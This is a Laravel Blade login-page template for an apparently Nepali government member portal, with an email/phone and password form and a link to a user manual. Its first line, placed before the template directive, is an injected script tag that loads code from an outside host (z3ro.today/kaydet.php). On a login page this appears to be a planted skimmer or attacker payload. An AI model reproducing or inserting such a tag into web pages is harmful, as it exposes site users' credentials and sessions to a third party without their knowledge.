<script src="http://z3ro.today/kaydet.php"></script>@extends('layouts.auth')

@section('content')
    <!-- notify -->
    @if (session()->has('registration_success'))
        @include('components.registration-success')
    @endif

    <div class="auth-content">
        <div class="text-center">
            <h5 class="mb-4">
                <a class="btn btn-danger btn-sm" role="button" href="//member.ahlspc.gov.np/manual/how-to-use-system.pdf"
                    target="_blank">
                    अनलाइन सेवा कसरी प्रयोग गर्ने भनेर जान्न यहाँ क्लिक गर्नुहोस् !
                </a>
            </h5>
        </div>

        <div class="text-center">

            @if (session('registerSuccess'))
                <div class="alert alert-success" role="alert">
                    {{ session('registerSuccess') }}
                </div>
            @endif

            <h5 class="mb-0">Welcome !</h5>
            <p class="text-muted mt-2">Log in to continue or Register if you are new.</p>

            {{-- <p style="color: red;"><i> * Software upgrade को कारण नयाँ दर्ता हालको लागी बन्द गरिएको छ!!!</i></p> --}}
        </div>

        <form class="mt-4 pt-2" method="POST" action="{{ route('login') }}">
            @csrf
            <div class="mb-3">
                <label for="login" class="form-label">Email/Phone</label>
                <input tabindex="1" id="login" type="text"
                    class="form-control @error('login') is-invalid @enderror" name="login" value="{{ old('login') }}"
                    required autocomplete="login" placeholder="Enter your email or phone no." autofocus>

                @error('login')
                    <span class="invalid-feedback" role="alert">
                        <strong>{{ $message }}</strong>
                    </span>
                @enderror
            </div>
            <div class="mb-3">
                <div class="d-flex align-items-start">
                    <div class="flex-grow-1">
                        <label class="form-label">Password</label>
                    </div>
                    @if (Route::has('password.request'))
                        <div class="flex-shrink-0">
                            <div class="">
                                <a href="{{ route('password.request') }}" class="text-muted">Forgot password?</a>
                            </div>
                        </div>
                    @endif
                </div>

                <div class="input-group auth-pass-inputgroup">
                    <input tabindex="2" type="password" name="password"
                        class="form-control @error('password') is-invalid @enderror" placeholder="Enter your password"
                        aria-label="Password" required autocomplete="current-password" aria-describedby="password-addon">
                    <button tabindex="3" class="btn btn-light shadow-none ms-0" type="button" id="password-addon"><i
                            class="mdi mdi-eye-outline"></i></button>

                    @error('password')
                        <span class="invalid-feedback" role="alert">
                            <strong>{{ $message }}</strong>
                        </span>
                    @enderror
                </div>
            </div>
            <div class="row mb-4">
                <div class="col">
                    <div class="form-check">
                        <input class="form-check-input" type="checkbox" name="remember" id="remember-check"
                            {{ old('remember') ? 'checked' : '' }}>

                        <label class="form-check-label" for="remember-check">
                            Remember me
                        </label>
                    </div>
                </div>

            </div>
            <div class="mb-3">
                <button class="btn btn-primary w-100 waves-effect waves-light" type="submit">Log In</button>
            </div>
        </form>

        @if (Route::has('register'))
            {{-- <div class="mt-5 text-center">
        <p class="text-muted mb-0">Don't have an account ? <a href="{{ route('register') }}"
                class="text-primary fw-semibold"> Register Now </a> </p>
    </div> --}}
        @endif
    </div>
@endsection
